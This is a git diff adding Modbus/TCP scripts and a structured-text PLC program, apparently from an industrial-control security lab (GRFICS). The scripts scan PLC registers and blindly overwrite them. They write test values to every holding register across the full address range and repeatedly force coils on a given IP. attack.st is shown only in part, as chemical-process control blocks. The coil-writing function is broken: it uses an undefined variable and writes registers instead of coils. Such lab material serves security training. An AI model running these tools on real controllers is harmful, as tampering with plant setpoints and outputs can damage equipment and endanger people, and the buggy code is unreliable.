+input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input") +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/register_scanner.py.1 b/modbus/misc/register_scanner.py.1 new file mode 100644 index 0000000..4d03cc6 --- /dev/null +++ b/modbus/misc/register_scanner.py.1 @@ -0,0 +1,151 @@ +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data[0]: + if 43981==data[0]: + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i-1]="Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in hold_valid_list: + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data[0]: + if 43981==data[0]: + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + client.close() + return write_coil_confirm_list,write_coil_confirm_data + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(range(1,500)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") + client.close() + return valid_list,data_list,permission_list + + + +#Write the result to Excel File +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]+reg_value) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=True, help='Port Number') +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil") #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold") #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete") #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input") +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/write_all_holding_registers.py b/modbus/misc/write_all_holding_registers.py new file mode 100644 index 0000000..ae6fa15 --- /dev/null +++ b/modbus/misc/write_all_holding_registers.py @@ -0,0 +1,94 @@ +#!/usr/bin/env python + +""" +File: write_all_holding_registers.py +Desc: Write all holding registers on a TCP MODBUS Slave +Version: 0.0.1 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def scan(): + + parser = argparse.ArgumentParser(description = "Write all holding registries on a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the writer. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the writer. Defaults to 65535", type=int, metavar="END", default=65535) + parser.add_argument("-v", "--value", dest="value", help="Value that will be written. Defaults to 7777", type=int, metavar="VALUE", default=7777) + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target given\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = [] + addr = 1 + for addr in range(args.start_address, args.end_address): + hr = client.write_registers(addr, args.value, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 16: # if we succeeded writing stuff. code = 0x10 + results.append(addr) + # if it fails, hr.function = 144 (0x90), cf modbus doc + + client.close() + print 'Register writing is finished (%d addresses were tried)' % (args.end_address-args.start_address+1) + print 'Writing was successful on these %d addresses:' % len(results) + print results + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/monitor_muiltiple.py b/modbus/monitor_muiltiple.py new file mode 100644 index 0000000..5b8b46f --- /dev/null +++ b/modbus/monitor_muiltiple.py @@ -0,0 +1,192 @@ +#!/usr/bin/env python + +""" +File: monitor_multiple.py +Desc: Read all registers from a TCP MODBUS Slave +""" +__author__ = '0xRoM' + +from argparse import ArgumentParser, ArgumentTypeError, Action +from pyModbusTCP.client import ModbusClient +import time +import sys +import re + +class style(): + BLACK = '\033[30m' + RED = '\033[31m' + GREEN = '\033[32m' + YELLOW = '\033[33m' + BLUE = '\033[34m' + MAGENTA = '\033[35m' + CYAN = '\033[36m' + WHITE = '\033[37m' + BOLD = '\33[1m' + UNDERLINE = '\033[4m' + RESET = '\033[0m' + +class InflateRange(Action): + def __call__(self, parser, namespace, values, option_string=None): + #print('%r %r %r' % (namespace, values, option_string)) + lst = [] + for string in values: + #print 'in string:',string + if '-' in string: + m = re.match(r'(\d+)(?:-(\d+))?$', string) + # ^ (or use .split('-'). anyway you like.) + if not m: + raise ArgumentTypeError("'" + string + "' is not a range of number. Expected forms like '0-5' or '2'.") + start = m.group(1) + end = m.group(2) or start + lst.extend(list(range(int(start,10), int(end,10)+1))) + else: + lst.append(int(string)) + setattr(namespace, self.dest, lst) + +parser = ArgumentParser() +parser.add_argument('-co', '--coil', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-ho', '--hold', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-di', '--discrete', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-in', '--input', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-i','--ipaddress', action='store', type=str, required=True, help='Input IP Address') +parser.add_argument('-p','--port', action='store', type=int, required=False, help='Port Number', default=502) +parser.add_argument('-t','--timeout', action='store', type=float, required=False, help='request every X seconds', default=2) + +args = parser.parse_args() +print("### watch list ###") + +total = 0 +if args.coil: + print(style.BOLD+"coils: "+style.RESET+"("+str(len(args.coil))+")"+str(args.coil)) + total += len(args.coil) +if args.hold: + print(style.BOLD+"hold reg: "+style.RESET+"("+str(len(args.hold))+")"+str(args.hold)) + total += len(args.hold) +if args.discrete: + print(style.BOLD+"discrete: "+style.RESET+"("+str(len(args.discrete))+")"+str(args.discrete)) + total += len(args.discrete) +if args.input: + print(style.BOLD+"input reg: "+style.RESET+"("+str(len(args.input))+")"+str(args.input)) + total += len(args.input) +print(style.BOLD+"Total = "+str(total)+style.RESET) +print("------------------") + +co_orig={} +ho_orig={} +di_orig={} +in_orig={} +co_mod={} +ho_mod={} +di_mod={} +in_mod={} +co_prev={} +ho_prev={} +di_prev={} +in_prev={} +client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=args.timeout) + +if args.coil: + for i in args.coil: + co_orig[i]=client.read_coils(i,1) + co_mod[i] = style.RESET + co_prev[i] = co_orig[i] +if args.hold: + for i in args.hold: + ho_orig[i]=client.read_holding_registers(i,1) + if ho_orig[i] == None: + ho_orig[i] = " " + ho_mod[i] = style.RESET + ho_prev[i] = ho_orig[i] +if args.discrete: + for i in args.discrete: + di_orig[i]=client.read_discrete_inputs(i,1) + di_mod[i] = style.RESET + di_prev[i] = di_orig[i] +if args.input: + for i in args.input: + in_orig[i]=client.read_input_registers(i,1) + if in_orig[i] == None: + in_orig[i] = " " + in_mod[i] = style.RESET + in_prev[i] = in_orig[i] + +while True: + co_new={} + ho_new={} + di_new={} + in_new={} + if args.coil: + for i in args.coil: + co_new[i]=client.read_coils(i,1) + if co_new[i] == None: + co_new[i] = "0" + co_mod[i] = style.CYAN + else: + if co_new[i][0] == 1 and co_prev[i][0] == 0: + co_mod[i] = style.GREEN + if co_new[i][0] == 0 and co_prev[i][0] == 1: + co_mod[i] = style.RED + co_prev[i] = co_new[i] + + if args.hold: + for i in args.hold: + ho_new[i]=client.read_holding_registers(i,1) + if ho_new[i] == None: + ho_new[i] = " " + else: + if ho_new[i] > ho_prev[i]: + ho_mod[i] = style.GREEN + if ho_new[i] < ho_prev[i]: + ho_mod[i] = style.RED + ho_prev[i] = ho_new[i] + + if args.discrete: + for i in args.discrete: + di_new[i]=client.read_discrete_inputs(i,1) + if di_new[i] == None: + di_new[i] = "0" + di_mod[i] = style.CYAN + else: + if di_new[i][0] == 1 and di_prev[i][0] == 0: + di_mod[i] = style.GREEN + if di_new[i][0] == 0 and di_prev[i][0] == 1: + di_mod[i] = style.RED + di_prev[i] = di_new[i] + + if args.input: + for i in args.input: + in_new[i]=client.read_input_registers(i,1) + if in_new[i] == None: + in_new[i] = " " + else: + if in_new[i] > in_prev[i]: + in_mod[i] = style.GREEN + if in_new[i] < in_prev[i]: + in_mod[i] = style.RED + in_prev[i] = in_new[i] + + sys.stdout.flush() + output = '\r' + if args.coil: + output += '['+style.BOLD+'coils:'+style.RESET + for i in co_new: + output += style.RESET+'['+str(co_mod[i])+str(int(co_new[i][0]))+style.RESET+']' + output += ']' + if args.hold: + output += '['+style.BOLD+'hold regs:'+style.RESET + for i in ho_new: + output += style.RESET+'['+str(ho_mod[i])+str(ho_new[i][0]).rjust(5, ' ')+style.RESET+']' + output += ']' + if args.discrete: + output += '['+style.BOLD+'discrete:'+style.RESET + for i in di_new: + output += style.RESET+'['+str(di_mod[i])+str(int(di_new[i][0]))+style.RESET+']' + output += ']' + if args.input: + output += '['+style.BOLD+'input regs:'+style.RESET + for i in in_new: + output += style.RESET+'['+str(in_mod[i])+str(in_new[i][0]).rjust(5, ' ')+style.RESET+']' + output += ']' + + print output, + time.sleep(args.timeout) \ No newline at end of file diff --git a/modbus/set_coil.py b/modbus/set_coil.py new file mode 100644 index 0000000..02ab399 --- /dev/null +++ b/modbus/set_coil.py @@ -0,0 +1,41 @@ +#!/usr/bin/env python + +""" +File: set_coil.py +Desc: set a specific coil to a specific value +""" +__author__ = '0xRoM' +from argparse import ArgumentParser, ArgumentTypeError +from pyModbusTCP.client import ModbusClient +import time +import sys + +parser = ArgumentParser() +parser.add_argument('-i','--ipaddress', action='store', type=str, required=True, help='Input IP Address') +parser.add_argument('-p','--port', action='store', type=int, required=False, help='Port Number', default=502) +parser.add_argument('-c','--coil', action='store', type=int, required=True, help='Coil Number', default=0) +parser.add_argument('-tr','--true', action='store_true', required=False, help='True if set') +parser.add_argument('-l','--loop', action='store_true', required=False, help='loop on') +parser.add_argument('-t','--timeout', action='store', type=float, required=False, help='request every X seconds', default=2) +args = parser.parse_args() + +client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=10) +if args.true: + client.write_single_coil(args.coil,True) +else: + client.write_single_coil(args.coil,False) + +if args.loop: + i=1 + while True: + client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=10) + if args.true: + client.write_single_coil(args.coil,True) + else: + client.write_single_coil(args.coil,False) + client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 + time.sleep(args.timeout) + diff --git a/modbus/test_coil_true.py b/modbus/test_coil_true.py new file mode 100644 index 0000000..d2e8631 --- /dev/null +++ b/modbus/test_coil_true.py @@ -0,0 +1,15 @@ +#!/usr/bin/python +from pymodbus.client.sync import ModbusTcpClient +import time +import sys + +i=1 +t_end = time.time() + 60 * 1 # 60s X 1min +while time.time() < t_end: + client = ModbusTcpClient(sys.argv[1]) + client.write_coils(40, [True, True, True]*4) # Ref #, followed by coil settings in list form + client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 +print "Done" diff --git a/modbus/test_hold_int.py b/modbus/test_hold_int.py new file mode 100644 index 0000000..8be7d0d --- /dev/null +++ b/modbus/test_hold_int.py @@ -0,0 +1,21 @@ +#!/usr/bin/python +from pyModbusTCP.client import ModbusClient +import time +import sys + +i=1 +client=ModbusClient(host=sys.argv[1],port=502,auto_open=True,auto_close=True,timeout=10) + +while True: + #client = ModbusTcpClient(sys.argv[1]) + #client.write_single_register(0,65535) # ref #, followed by no to store + #client.write_single_register(1,65535) # ref #, followed by no to store + #client.write_single_register(2,0) # ref #, followed by no to store + client.write_single_register(3,0) # ref #, followed by no to store + #client.write_multiple_registers(0, [65535,65535,2,2]) + #client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 + time.sleep(0.2) +print "Done" diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack.st b/plc/GRFICS_Workstation_Docs/Documents/attack.st new file mode 100644 index 0000000..e39c5bd --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack.st @@ -0,0 +1,518 @@ +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set AT %MW0 : UINT; + a_setpoint AT %MW1 : UINT; + pressure_sp AT %MW2 : UINT; + override_sp AT %MW3 : UINT; + level_sp AT %MW4 : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos AT %IW0 : UINT; + f1_flow AT %IW1 : UINT; + f2_valve_pos AT %IW2 : UINT; + f2_flow AT %IW3 : UINT; + purge_valve_pos AT %IW4 : UINT; + purge_flow AT %IW5 : UINT; + product_valve_pos AT %IW6 : UINT; + product_flow AT %IW7 : UINT; + pressure AT %IW8 : UINT; + level AT %IW9 : UINT; + a_in_purge AT %IW10 : UINT; + b_in_purge AT %IW11 : UINT; + c_in_purge AT %IW12 : UINT; + f1_valve_sp AT %QW0 : UINT; + f2_valve_sp AT %QW1 : UINT; + purge_valve_sp AT %QW2 : UINT; + product_valve_sp AT %QW3 : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure AT %MW20 : INT; + hmi_level AT %MW21 : INT; + hmi_f1_valve_pos AT %MW22 : INT; + hmi_f1_flow AT %MW23 : INT; + hmi_f2_valve_pos AT %MW24 : INT; + hmi_f2_flow AT %MW25 : INT; + hmi_purge_valve_pos AT %MW26 : INT; + hmi_purge_flow AT %MW27 : INT; + hmi_product_valve_pos AT %MW28 : INT; + hmi_product_flow AT %MW29 : INT; + scan_count AT %MW30 : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : 